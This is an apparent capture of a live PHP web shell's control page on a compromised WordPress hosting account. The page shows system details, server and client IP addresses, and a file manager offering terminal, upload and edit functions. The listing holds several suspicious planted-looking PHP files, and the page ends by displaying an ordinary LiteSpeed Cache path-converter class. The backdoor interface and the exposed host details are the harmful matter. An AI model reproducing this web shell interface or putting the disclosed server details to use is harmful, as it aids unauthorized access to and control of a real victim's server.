Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 23:22:59
3907.15 GB Free: 1076.30 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 09:27:21drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log19.21 MB2026-05-05 23:22:58-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
lock360.php1.40 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-crrm.php77.12 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: /home/repauqkb/www/wp-content/plugins/lib/css_js_min/pathconverter/converter.cls.php
<?php
// phpcs:ignoreFile
/**
 * modified PHP implementation of Matthias Mullie's convert path class
 * Convert paths relative from 1 file to another.
 *
 * E.g.
 *     ../../images/icon.jpg relative to /css/imports/icons.css
 * becomes
 *     ../images/icon.jpg relative to /css/minified.css
 *
 * @author Matthias Mullie <[email protected]>
 * @copyright Copyright (c) 2015, Matthias Mullie. All rights reserved
 * @license MIT License
 */

namespace LiteSpeed\Lib\CSS_JS_MIN\PathConverter;

defined( 'WPINC' ) || exit;

interface ConverterInterface {

	/**
	 * Convert file paths.
	 *
	 * @param string $path The path to be converted
	 *
	 * @return string The new path
	 */
	public function convert( $path );
}

class Converter implements ConverterInterface {

	/**
	 * @var string
	 */
	protected $from;

	/**
	 * @var string
	 */
	protected $to;

	/**
	 * @param string $from The original base path (directory, not file!)
	 * @param string $to   The new base path (directory, not file!)
	 * @param string $root Root directory (defaults to `getcwd`)
	 */
	public function __construct( $from, $to, $root = '' ) {
		$shared = $this->shared( $from, $to );
		if ( $shared === '' ) {
			// when both paths have nothing in common, one of them is probably
			// absolute while the other is relative
			$root = $root ?: getcwd();
			$from = strpos( $from, $root ) === 0 ? $from : preg_replace( '/\/+/', '/', $root . '/' . $from );
			$to   = strpos( $to, $root ) === 0 ? $to : preg_replace( '/\/+/', '/', $root . '/' . $to );

			// or traveling the tree via `..`
			// attempt to resolve path, or assume it's fine if it doesn't exist
			$from = @realpath( $from ) ?: $from;
			$to   = @realpath( $to ) ?: $to;
		}

		$from = $this->dirname( $from );
		$to   = $this->dirname( $to );

		$from = $this->normalize( $from );
		$to   = $this->normalize( $to );

		$this->from = $from;
		$this->to   = $to;
	}

	/**
	 * Normalize path.
	 *
	 * @param string $path
	 *
	 * @return string
	 */
	protected function normalize( $path ) {
		// deal with different operating systems' directory structure
		$path = rtrim( str_replace( DIRECTORY_SEPARATOR, '/', $path ), '/' );

		// remove leading current directory.
		if ( substr( $path, 0, 2 ) === './' ) {
			$path = substr( $path, 2 );
		}

		// remove references to current directory in the path.
		$path = str_replace( '/./', '/', $path );

		/*
		 * Example:
		 *     /home/forkcms/frontend/cache/compiled_templates/../../core/layout/css/../images/img.gif
		 * to
		 *     /home/forkcms/frontend/core/layout/images/img.gif
		 */
		do {
			$path = preg_replace( '/[^\/]+(?<!\.\.)\/\.\.\//', '', $path, -1, $count );
		} while ( $count );

		return $path;
	}

	/**
	 * Figure out the shared path of 2 locations.
	 *
	 * Example:
	 *     /home/forkcms/frontend/core/layout/images/img.gif
	 * and
	 *     /home/forkcms/frontend/cache/minified_css
	 * share
	 *     /home/forkcms/frontend
	 *
	 * @param string $path1
	 * @param string $path2
	 *
	 * @return string
	 */
	protected function shared( $path1, $path2 ) {
		// $path could theoretically be empty (e.g. no path is given), in which
		// case it shouldn't expand to array(''), which would compare to one's
		// root /
		$path1 = $path1 ? explode( '/', $path1 ) : array();
		$path2 = $path2 ? explode( '/', $path2 ) : array();

		$shared = array();

		// compare paths & strip identical ancestors
		foreach ( $path1 as $i => $chunk ) {
			if ( isset( $path2[ $i ] ) && $path1[ $i ] == $path2[ $i ] ) {
				$shared[] = $chunk;
			} else {
				break;
			}
		}

		return implode( '/', $shared );
	}

	/**
	 * Convert paths relative from 1 file to another.
	 *
	 * E.g.
	 *     ../images/img.gif relative to /home/forkcms/frontend/core/layout/css
	 * should become:
	 *     ../../core/layout/images/img.gif relative to
	 *     /home/forkcms/frontend/cache/minified_css
	 *
	 * @param string $path The relative path that needs to be converted
	 *
	 * @return string The new relative path
	 */
	public function convert( $path ) {
		// quit early if conversion makes no sense
		if ( $this->from === $this->to ) {
			return $path;
		}

		$path = $this->normalize( $path );
		// if we're not dealing with a relative path, just return absolute
		if ( strpos( $path, '/' ) === 0 ) {
			return $path;
		}

		// normalize paths
		$path = $this->normalize( $this->from . '/' . $path );

		// strip shared ancestor paths
		$shared = $this->shared( $path, $this->to );
		$path   = mb_substr( $path, mb_strlen( $shared ) );
		$to     = mb_substr( $this->to, mb_strlen( $shared ) );

		// add .. for every directory that needs to be traversed to new path
		$to = str_repeat( '../', count( array_filter( explode( '/', $to ) ) ) );

		return $to . ltrim( $path, '/' );
	}

	/**
	 * Attempt to get the directory name from a path.
	 *
	 * @param string $path
	 *
	 * @return string
	 */
	protected function dirname( $path ) {
		if ( @is_file( $path ) ) {
			return dirname( $path );
		}

		if ( @is_dir( $path ) ) {
			return rtrim( $path, '/' );
		}

		// no known file/dir, start making assumptions

		// ends in / = dir
		if ( mb_substr( $path, -1 ) === '/' ) {
			return rtrim( $path, '/' );
		}

		// has a dot in the name, likely a file
		if ( preg_match( '/.*\..*$/', basename( $path ) ) !== 0 ) {
			return dirname( $path );
		}

		// you're on your own here!
		return $path;
	}
}

class NoConverter implements ConverterInterface {

	/**
	 * {@inheritdoc}
	 */
	public function convert( $path ) {
		return $path;
	}
}